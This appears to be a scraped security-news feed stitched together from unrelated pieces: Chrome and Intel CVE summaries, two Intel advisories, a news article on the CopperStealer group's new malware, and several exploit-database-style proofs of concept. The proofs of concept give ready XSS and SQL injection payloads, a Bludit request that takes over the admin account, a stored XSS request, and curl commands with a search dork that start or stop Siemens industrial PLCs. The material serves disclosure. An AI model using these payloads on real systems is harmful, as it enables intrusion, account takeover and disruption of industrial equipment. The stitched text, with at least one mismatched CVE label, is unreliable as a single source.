Type confusion in V8 in Google Chrome prior to 113.0.5672.126 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2023-2724

Use after free in Autofill UI in Google Chrome on Android prior to 113.0.5672.126 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2023-2722

GaanaGawaana Music Platform PHP Script version 1.0 suffers from cross site scripting and remote SQL injection vulnerabilities.

    ## Title: GaanaGawaana - Music Platform PHP Script-1.0 XSS-Reflectedand SQLi Vulnerability## Author: nu11secur1ty## Date: 05.16.2023## Vendor: https://www.codester.com/## Software: https://www.codester.com/items/27270/gaanagawaana-music-platform-php-script## Reference XSS: https://portswigger.net/web-security/cross-site-scripting## Reference SQLi: https://portswigger.net/web-security/sql-injection## Description:XSS: The value of the q request parameter is copied into the HTMLdocument as text between TITLE tags. The payloadaw9rx</title><script>alert(1)</script>rg1m6 was submitted in the qparameter. This input was echoed unmodified in the application'sresponse.--------------------------------------------------------------------------------------------------------------------------------SQLi: The q parameter appears to be vulnerable to SQL injectionattacks. The payloads 70346811' or 7218=7218-- and 18028207' or8587=8593-- were each submitted in the q parameter. These two requestsresulted in different responses, indicating that the input is beingincorporated into a SQL query in an unsafe way.STATUS: CRITICAL Vulnerability[+]Exploit-XSS-test:```XSSGET /search?q=aw9rx%3c%2ftitle%3e%3cscript%3ealert(1)%3c%2fscript%3erg1m6 HTTP/2Host: gaanagawaana.codesler.comAccept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93Safari/537.36Connection: closeCache-Control: max-age=0Upgrade-Insecure-Requests: 1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="113", "Chromium";v="113"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 0```[+]Response-XSS-test:```HTTP/2 200 OKCache-Control: no-store, max-age=0, no-cacheDate: Tue, 16 May 2023 06:39:12 GMTContent-Type: text/html; charset=UTF-8Server: Apache<html><head><title>aw9rx</title><script>alert(1)</script>rg1m6's Song Download,Listen & Lyrics</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">```--------------------------------------------------------------------[+]Payload-SQLi:```SQLi---Parameter: q (GET)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: q=-5722%' OR 2476=2476 AND 'nMde%'='nMde---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/codester/2023/GaanaGawaana-Music-Platform-PHP-Script-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/05/gaanagawaana-10-xss-reflected-sqli-for.html)## Time spend:01:10:00

GaanaGawaana Music Platform PHP Script 1.0 Cross Site Scripting / SQL Injection

An issue in Bludit 4.0.0-rc-2 allows authenticated attackers to change the Administrator password and escalate privileges via a crafted request.

The already authenticated attacker can send a normal request to change his password and then he can use the same JSON object and the vulnerable API token KEY in the same request to change the admin account password. Then he can access the admin account and he can do very malicious stuff.

    PUT /api/users/admin HTTP/1.1
    Host: 127.0.0.1:8000
    Content-Length: 138
    sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"
    sec-ch-ua-platform: "Windows"
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
    content-type: application/json
    Accept: */*
    Origin: http://127.0.0.1:8000
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://127.0.0.1:8000/admin/edit-user/pwned
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: BLUDIT-KEY=98t31p2g0i7t6rscufuccpthui
    Connection: close
    
    {"token":"4f8df9f64e84fa4562ec3a604bf7985c","authentication":"6d1a5510a53f9d89325b0cd56a2855a9","username":"pwned","password":"password1"}
    
    

HTTP/1.1 200 OK
Host: 127.0.0.1:8000
Date: Tue, 11 Apr 2023 08:33:51 GMT
Connection: close
X-Powered-By: PHP/7.4.30
Access-Control-Allow-Origin: \*
Content-Type: application/json

{"status":"0","message":"User edited.","data":{"key":"admin"}}

CVE-2023-31572: CVE-nu11secur1ty/vendors/bludit/2023/Bludit-v4.0.0-Release-candidate-2 at main · nu11secur1ty/CVE-nu11secur1ty

The threat actors behind the CopperStealer malware resurfaced with two new campaigns in March and April 2023 that are designed to deliver two novel payloads dubbed CopperStealth and CopperPhish.
Trend Micro is tracking the financially motivated group under the name Water Orthrus. The adversary is also assessed to be behind another campaign known as Scranos, which was detailed by Bitdefender in

Online Security / Malware

The threat actors behind the CopperStealer malware resurfaced with two new campaigns in March and April 2023 that are designed to deliver two novel payloads dubbed CopperStealth and CopperPhish.

Trend Micro is tracking the financially motivated group under the name **Water Orthrus**. The adversary is also assessed to be behind another campaign known as Scranos, which was detailed by Bitdefender in 2019.

Active since at least 2021, Water Orthrus has a track record of leveraging pay-per-install (PPI) networks to redirect victims landing on cracked software download sites to drop an information stealer codenamed CopperStealer.

Another campaign spotted in August 2022 entailed the use of CopperStealer to distribute Chromium-based web browser extensions that are capable of performing unauthorized transactions and transferring cryptocurrency from victims' wallets to ones under attackers' control.

The latest attack sequences documented by Trend Micro don't mark much of a deviation, propagating CopperStealth by packaging it as installers for free tools on Chinese software-sharing websites.

"CopperStealth's infection chain involves dropping and loading a rootkit, which later injects its payload into explorer.exe and another system process," security researchers Jaromir Horejsi and Joseph C Chen said in a technical report.

"These payloads are responsible for downloading and running additional tasks. The rootkit also blocks access to blocklisted registry keys and prevents certain executables and drivers from running."

The driver denylist contains byte sequences pertaining to Chinese security software companies like Huorong, Kingsoft, and Qihoo 360.

CopperStealth also incorporates a task module that enables it to call out to a remote server and retrieve the command to be executed on the infected machine, equipping the malware to drop more payloads.

**File Sharing Websites Act as Conduit for CopperPhish Phishing Kit**

The CopperPhish campaign, detected worldwide in April 2023, takes advantage of an analogous process to deploy the malware via PPI networks behind free anonymous file-sharing websites.

"Visitors will be redirected to a download page designed by the PPI network after clicking on its advertisements, which pretended to be a download link," the researchers said. "The downloaded file is PrivateLoader, which downloads and runs many different malware."

The downloader service, which is also offered on a PPI basis, is then used to retrieve and launch CopperPhish, a phishing kit that's responsible for harvesting credit card information.

It achieves this by "starting a rundll32 process and injecting a simple program with a browser window (written in Visual Basic) in it," which loads a phishing page urging victims to scan a QR code in order to verify their identity and enter a confirmation code to "restore your device's network."

"The window has no controls that can be used to minimize or close it," the researchers explained. "The victim could close the browser's process in Task Manager or Process Explorer, but they would also need to terminate the main payload process, otherwise the browser process will happen again due to the persistence thread."

Once the sensitive details are entered in the page, the CopperPhish malware displays the message "the identity verification has passed" alongside a confirmation code that the victim can enter on the aforementioned screen.

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Providing the correct confirmation code also causes the malware to uninstall itself and delete all the dropped phishing files from the machine.

"The credential verification and confirmation code are two useful features that make this phishing kit more successful, as the victim cannot simply close the window or enter fake information just to get rid of the window," the researchers said.

The attribution to Water Orthrus is based on the fact that both CopperStealth and CopperPhish share similar source code characteristics as that of CopperStealer, raising the possibility that all three strains may have been developed by the same author.

The disparate objectives of the campaigns represent the evolution of the threat actor's tactics, indicating an attempt to add new capabilities to its arsenal and expand its financial horizons.

The findings come as malicious Google ads are being used to entice users into downloading fake installers for AI tools like Midjourney and OpenAI's ChatGPT that ultimately drop stealers such as Vidar and RedLine.

They also follow the discovery of a new traffic-monetizing service called TrafficStealer that leverages misconfigurations containers to redirect traffic to websites and generate fake ad clicks as part of an illicit money-making scheme.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

CopperStealer Malware Crew Resurfaces with New Rootkit and Phishing Kit Modules

TinyWebGallery version 2.5 suffers from a persistent cross site scripting vulnerability.

    #Exploit Title: TinyWebGallery v2.5 - Stored Cross-Site Scripting (XSS)#Application: TinyWebGallery#Version: v2.5#Bugs:  Stored Xss#Technology: PHP#Vendor URL: http://www.tinywebgallery.com/#Software Link: https://www.tinywebgallery.com/download.php?tinywebgallery=latest#Date of found: 07-05-2023#Author: Mirabbas Ağalarov#Tested on: Linux 2. Technical Details & POC========================================steps: 1. Login to account2. Go to http://localhost/twg25/index.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg3. Edit 4. Set folder name section as  <script>alert(4)</script>Request :POST /twg25/i_frames/i_titel.php HTTP/1.1Host: localhostContent-Length: 264Cache-Control: max-age=0sec-ch-ua: "Not:A-Brand";v="99", "Chromium";v="112"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: http://localhostContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: iframeReferer: http://localhost/twg25/i_frames/i_titel.php?twg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpgAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=qc7mfbthpf7tnf32a34p8l766kConnection: closetwg_album=3_youtube.com&twg_show=Q4IPe8_Bo7c.jpg&twg_foffset=&twg_submit=true&twg_titel_page2=true&twg_foldername_mod=1&twg_foldername=%26lt%3Bscript%26gt%3Balert%284%29%26lt%3B%2Fscript%26gt%3B&twg_folderdesc_mod=1&twg_folderdesc=aaaaaaaaaaaaaaaaa&twg_submit=Save5. Go to http://localhost/twg25/index.php

TinyWebGallery 2.5 Cross Site Scripting

Siemens SIMATIC S7-1200 CPU start/stop command cross site request forgery exploit. This older issue elaborates on t4rkd3vilz's CVE-2015-5698 by issuing a POST command to a specified web server path.

    # Exploit Title: Siemens SIMATIC S7-1200 CPU Start/Stop Command- Cross-Site Request Forgery# Google Dork: inurl:/Portal/Portal.mwsl# Date: 2022-03-24# Exploit Author: RoseSecurity# Vendor Homepage: https://www.siemens.com/global/en.html# Version: SIMATIC S7-1200 CPU family: All versions prior to V4.1.3# Tested on: Kali Linux# CVE: CVE-2015-5698# IP == PLC IP address# Start Commandcurl -i -s -k -X $'POST' \ -H $'Host: <IP>' -H $'Content-Length: 19' -H $'Cache-Control:max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://<IP>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0. (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H $'Accept: text/html, application /xhmtl+xml, application/xml; q=0.9,image/avif, image/webp, image/apng,*/ - *; q=0.8, application/signed-exchange; v=b3; q=0.9' -H $'Referer: http://<IP>/Portal/Portal.mwsl?PriNav=Start' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US, en; q=0.9' -H $'Connection: close' \ -b $'siemens_automation_no_intro=TRUE' \ --data-binary $'Run=1&PriNav=Start' \ 'http://<IP>/CPUCommands'# Stop Commandcurl -i -s -k -X $'POST' \ -H $'Host: <IP>' -H $'Content-Length: 19' -H $'Cache-Control:max-age=0' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://<IP>' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0. (Windows NT 10.0; Win64; x64) AppleWebkit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36' -H $'Accept: text/html, application /xhmtl+xml, application/xml; q=0.9,image/avif, image/webp, image/apng,*/ - *; q=0.8, application/signed-exchange; v=b3; q=0.9' -H $'Referer: http://<IP>/Portal/Portal.mwsl?PriNav=Start' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-US, en; q=0.9' -H $'Connection: close' \ -b $'siemens_automation_no_intro=TRUE' \ --data-binary $'Run=1&PriNav=Stop' \ 'http://<IP>/CPUCommands'

Siemens SIMATIC S7-1200 Cross Site Request Forgery

Use after free in ChromeOS Camera in Google Chrome on ChromeOS prior to 113.0.5672.114 allowed a remote attacker who convinced a user to engage in specific UI interaction to potentially exploit heap corruption via UI interaction. (Chromium security severity: High)

**Chrome Releases**

Release updates from the Chrome team

CVE-2023-2458: Stable Channel Update for ChromeOS / ChromeOS Flex

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

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*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

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**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

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CVE-2023-30768: INTEL-SA-00056

Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

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*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

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**Intel® SoC Watch 2021 Advisory**

**Summary: **

A potential security vulnerability in the Intel® SoC Watch driver may allow escalation of privilege.  Intel is releasing software updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2023-30763

Description: Heap-based overflow in Intel(R) SoC Watch based software before version 2021.1 may allow a privileged user to potentially enable escalation of privilege via local access.

CVSS Base Score: 7.2 High

CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:H

**Affected Products:**

Intel® Battery Life Diagnostic Tool before version 1.2.

Intel® oneAPI Base Toolkit before version 2021.4.0.

**Recommendations:**

Intel recommends updating Intel® Battery Life Diagnostic Tool to version 1.2 or later.

Updates are available for download at this location:

https://downloadcenter.intel.com/download/29348/Intel-Battery-Life-Diagnostic-Tool

Intel recommends updating Intel® OneAPI Base Toolkit to version 2021.4.0 or later.

Updates are available for download at this location:

https://software.intel.com/content/www/us/en/develop/tools/oneapi/base-toolkit/download.html

**Acknowledgements:**

The following issue was found internally by Intel employees.  Intel would like to thank Anton Rechkov.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

11/09/2021

Initial Release

1.1

05/09/2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

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If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

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